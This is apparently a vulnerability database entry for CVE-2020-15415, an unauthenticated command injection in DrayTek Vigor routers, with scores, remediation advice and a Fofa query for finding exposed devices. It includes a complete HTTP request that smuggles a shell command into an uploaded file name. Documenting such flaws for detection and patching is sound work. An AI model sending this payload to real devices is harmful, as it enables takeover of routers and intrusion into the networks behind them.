| Title | DrayTek Vigor - Command Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary system commands on DrayTek Vigor devices via the cvmcfgupload endpoint, leading to complete device compromise and potential network infiltration. |
| Remediation | Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93115 |
| CVE ID | CVE-2020-15415 |
| CWE ID | CWE-78 |
| Fofa Query | "excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS" |
| Tags | cve cve2020 draytek rce router kev vkev vuln |
DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.
POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 165
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Accept-Encoding: gzip
------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
Content-Type: text/x-python-script
------WebKitFormBoundary--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15415.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15415.pcap
N/AN/A